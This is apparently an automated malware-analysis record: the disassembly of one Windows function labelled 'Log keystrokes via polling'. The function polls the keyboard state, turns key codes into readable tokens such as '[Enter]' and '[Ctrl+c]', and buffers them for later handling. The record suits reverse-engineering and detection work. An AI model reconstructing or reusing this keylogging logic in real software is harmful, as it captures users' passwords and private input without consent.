Function at 0x40fd21
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x170
mov ebx, dword [ebp + 8]
mov dword [esp], 0x14
call sub.USER32.dll_GetKeyState
push ecx
mov dword [esp], 0x91
call sub.USER32.dll_GetKeyState
push esi
lea esi, [ebp - 0x108]
mov dword [esp], 0x90
call sub.USER32.dll_GetKeyState
push eax
mov dword [esp], esi
call sub.USER32.dll_GetKeyboardState
cmp ebx, 0x22
push eax
je 0x40fea4
ja 0x40fdef
cmp ebx, 0x11
ja 0x40fda6
cmp ebx, 0x10
jae 0x41002a
cmp ebx, 9
je 0x40fe72
cmp ebx, 0xd
je 0x40fe68
cmp ebx, 8
jne 0x40ff03
mov dword [esp + 8], str._Backspace_
jmp 0x40fee8
cmp ebx, 0x14
je 0x40fecc
ja 0x40fdd0
cmp ebx, 0x12
je 0x40fed6
cmp ebx, 0x13
jne 0x40ff03
mov dword [esp + 8], str._Break_
jmp 0x40fee8
cmp ebx, 0x1b
je 0x40fee0
cmp ebx, 0x21
jne 0x40ff03
mov dword [esp + 8], str._Page_Up_
jmp 0x40fee8
cmp ebx, 0x27
je 0x40fe86
ja 0x40fe24
cmp ebx, 0x24
je 0x40fe9a
jb 0x40feae
cmp ebx, 0x25
je 0x40fe7c
cmp ebx, 0x26
jne 0x40ff03
mov dword [esp + 8], str._Arrow_Up_
jmp 0x40fee8
cmp ebx, 0x2d
je 0x40fec2
ja 0x40fe4a
cmp ebx, 0x28
je 0x40fe90
cmp ebx, 0x2c
jne 0x40ff03
mov dword [esp + 8], str._Print_Screen_
jmp 0x40fee8
cmp ebx, 0x2e
je 0x40feb8
cmp ebx, 0x91
jne 0x40ff03
mov dword [esp + 8], str._Scroll_Lock_
jmp 0x40fee8
mov dword [esp + 8], str._Enter_
jmp 0x40fee8
mov dword [esp + 8], str._Tab_
jmp 0x40fee8
mov dword [esp + 8], str._Arrow_Left_
jmp 0x40fee8
mov dword [esp + 8], str._Arrow_Right_
jmp 0x40fee8
mov dword [esp + 8], str._Arrow_Down_
jmp 0x40fee8
mov dword [esp + 8], str._Home_
jmp 0x40fee8
mov dword [esp + 8], str._Page_Down_
jmp 0x40fee8
mov dword [esp + 8], str._End_
jmp 0x40fee8
mov dword [esp + 8], str._Delete_
jmp 0x40fee8
mov dword [esp + 8], str._Insert_
jmp 0x40fee8
mov dword [esp + 8], str._Caps_Lock_
jmp 0x40fee8
mov dword [esp + 8], str._Alt_
jmp 0x40fee8
mov dword [esp + 8], str._Esc_
lea eax, [ebp - 0x128]
mov dword [esp + 4], 0x20
mov dword [esp], eax
call fcn.0040afa3
jmp 0x40fff8
mov dword [esp + 4], 0
mov dword [esp], ebx
call sub.USER32.dll_MapVirtualKeyA
push edx
push edx
lea edx, [ebp - 0x14a]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], edx
mov dword [esp + 8], esi
mov dword [esp + 4], eax
mov dword [esp], ebx
call sub.USER32.dll_ToAscii
sub esp, 0x14
dec eax
jne 0x40ff77
mov dword [esp], 0x11
call sub.USER32.dll_GetKeyState
mov dx, word [ebp - 0x14a]
movzx edx, dl
cmp ax, 1
push ebx
lea eax, [ebp - 0x128]
jbe 0x40ff69
add edx, 0x40
mov dword [esp + 0xc], edx
jmp 0x40ffd2
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0x41475d
jmp 0x40ffe8
mov dword [esp + 4], 0
lea esi, [ebp - 0x148]
mov dword [esp], ebx
call sub.USER32.dll_MapVirtualKeyA
push ecx
push ecx
shl eax, 0x10
mov dword [esp + 8], 0x20
mov dword [esp + 4], esi
mov dword [esp], eax
call sub.USER32.dll_GetKeyNameTextA
sub esp, 0xc
test eax, eax
jle 0x41002a
mov dword [esp], 0x11
call sub.USER32.dll_GetKeyState
cmp ax, 1
push edx
lea eax, [ebp - 0x128]
jbe 0x40ffdc
lea edx, [ebx - 0x30]
cmp edx, 9
ja 0x40ffdc
mov dword [esp + 0xc], ebx
mov dword [esp + 8], str._Ctrl_c_
jmp 0x40ffe8
mov dword [esp + 0xc], esi
mov dword [esp + 8], str.__s_
mov dword [esp + 4], 0x20
mov dword [esp], eax
call fcn.0040afa3
test eax, eax
mov dword [ebp - 0x15c], eax
jle 0x41002a
call fcn.0040fc58
mov eax, dword [ebp - 0x15c]
xor ecx, ecx
mov edx, eax
lea eax, [ebp - 0x128]
call fcn.0040fa98
test eax, eax
jne 0x41002a
mov dword [0x413734], 1
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret